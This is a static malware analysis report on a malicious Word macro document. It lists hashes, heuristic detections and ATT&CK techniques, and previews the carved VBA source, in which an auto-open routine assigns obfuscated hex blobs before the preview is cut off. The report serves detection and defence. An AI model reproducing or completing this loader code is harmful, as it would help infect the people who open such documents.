Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3155f5200d99625…

MALICIOUS

Office (OLE)

45.5 KB Created: 2018-02-22 09:16:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: 8820b218cd7a235296bca9fd7059146f SHA-1: b0eef53a659a86ac6ad416c4b63571444b59545f SHA-256: d3155f5200d99625348dc74f0f6a346bbcc155d27cd45f052c11cb27be347287
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Workbook_Open macro, which is a common technique for executing malicious code upon opening. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute external commands. The ClamAV detection further confirms its malicious nature. The macros likely download and execute a second-stage payload, but the specific URL or payload is obfuscated within the script.

Heuristics 7

  • ClamAV: Xls.Malware.Cwsp-6735643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Cwsp-6735643-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8595 bytes
SHA-256: b8727f8d9f98b1b1f3ec1c152c0dd524ed188768dfeb510a3a4c23a6b612d113
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 26 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub Workbook_Open()
Dim XZ_KR As String
XZ_KR = "CE95A9BD958495CFCF95956A9595956095959AA98FD35F95ABC0C0959595919559956D9595B595A26C9DC5958C959295599595BF759595959595958ED195959598955795B095C1BD9595BC959C7ECE9583AA9581A3BE959569A8BB6F9595C79595B1C19595A3ADA69595879595ABCE9595607C959E9595656E9DAF5CA3707395"
Dim B_DW As String
B_DW = "8AC3956395955DCF95AB95B29595957FCB95959595959595CD5C95A08F956A959595CA95C275B095959689959A95D5787995C9AC8C95A195957C56D09595959C9584C6D05F95999E6596A89588D2D57E6B6495A0AC62B695959B75957A95B095959595A695959595689595618B959595BECE9595C89595959595C0B97A719595"
Dim IS_U As String
IS_U = "8A9584CCC2C8958DBE94AA955FA79595D19595956395837995D495957BCD659595959562BA9B919595CF95D2C895D5BD95B87CAC7C959E9E958F95959585949595956D95C574A79F95B85FB695BB9586B86795A79595957695959562959595A095959595BD95869A956295CD95958B95AD92D1C295969595957695AA9B9595BB"
Dim NRX_FVL As String
NRX_FVL = "95957B9595959595D4D29595C1D395799595B1959595979595C6D29595CD5C67956CD19595CD9595C7955695CFB5959595909595958695AE9FB195958B95B095959595958B9595859595C39572958695926D8357956E698B8494B695B365899595956CC3959595568B95A6B882B4B37995958395956795955D959595A695906C"
Dim M_J As String
M_J = "BE73A89595B5856495B7BE9595589559B5BB8C5B9D95956AD095ACBBAA95956BA1959761C67ED0959595B795955B95A2958B95D1A4938F95959595D19595959495959592955D9562759595689595955D958895D29E95958D84957B95A78A958391957D95B395958367C58495959559A09595B4956295957F95639595959595C9"
Dim FU_C As String
FU_C = "9595BD9D95A1A095C095959A959D95956595C6B78595D1BF959595A087959A957A667495958B6A6E957395956F957D5D95958DC868956B95955B95A9BF8E7A9595D08D95959595D4B29F9595959595959598B895628968BE5F9595959595BE95BD9D9595D3659C5C956C956FB9ADB0D0957D95B7C9BFBE95569568957C958291"
Dim WKF_KJ As String
WKF_KJ = "95A3A7887295A9739EA49595A4B4959395959595958D959565BD9595D084958174959587959576A2759595B795958DB46995758EB39595CB7995959570B195C985959061959595956D94959596957270B59595959595955A95955A7A5695B79595A8959581BAEEA595CB9595959595C4D5C4959CA595956F9795696F95CBB495"
Dim AA_D As String
AA_D = "9595B6959592957FB27CA995775A7E95C495955895956778958B9595BF7FC595BCAF6395CE95957CBA95AB956495A4A795C9959595A4C26A95C4CC95957F78BA9595D3D0856995B191A2CA70D09AB9B9959595959595BA5E8A959595B8C67895955D999595D3D55895958E80699995CA95C5678695956C7D958295A095956077"
Dim AF_WY As String
AF_WY = "959595C8956165759595C0956095D0717D9595B4955B95957195958AA86697835ED095955895B957665EC595AE95798595959F86959595AC95A38695C0D07F955777957C7B9795B29595C09B956783955A957CD3959595955B95956C957B959595C4B15EB9958AA5A595A295959576C995A995767F909577CFC2CF9595B4CB95"
Dim O_OHB As String
O_OHB = "639495B695BCD49E8795A695B16F9595B395959595958995959591959B8E9595B768959095B995956F95B6C49582D1B69595CE9595956BD39895C2956D95C995BB95A0AB9595C9955D9ECD7695958E956F95589562589598959595959595A8955F95957C955ECE9597AE9595CBA995959595CE95B9955D955C8E9579AECB8D95"
Dim NY_WR As String
NY_WR = "95A095959095958FC99595959572959595BE959B9586959595958B95777C8F955E74955A9595A3957E739594716FCB95959595CC737095A1957F959593959595C0D095959595955E955DAD9595909595A7882A959995B695A448B5AA959595AA9B64D4BE68759AA3CA95A69595CD959595A2A584958A5895BD78955979AA6D95"
Dim I_JN As String
I_JN = "617A9A82957AAD6895C1C97BD495B3959569959F7CC6CD9FBBBE957895C79595CBA2C1B89595957E957195819595809595957E659595C395959595C9C28BC395CD9588C895B387BAC7A66195A295959483B3959E95969595959595919543B8A083956D95BC95959FD3B895B6C9948B949595958C5EA9959A95A37F9595B36A9593B09C6C95D0A75B957FD165AB6D955BD395779795697A95CB9595959595955B95958B95957E9B67899595959595798E9591"

    Document_Open
End Sub
Public Sub XCS_CW()
   Dim SW_ZGJ As String
   Dim OAI_MI As String
   Dim CFZ_C As Long
    Dim UAX_PCN As String
    UAX_PCN = ActiveDocument.Variables("myData").Value
    
 
... (truncated)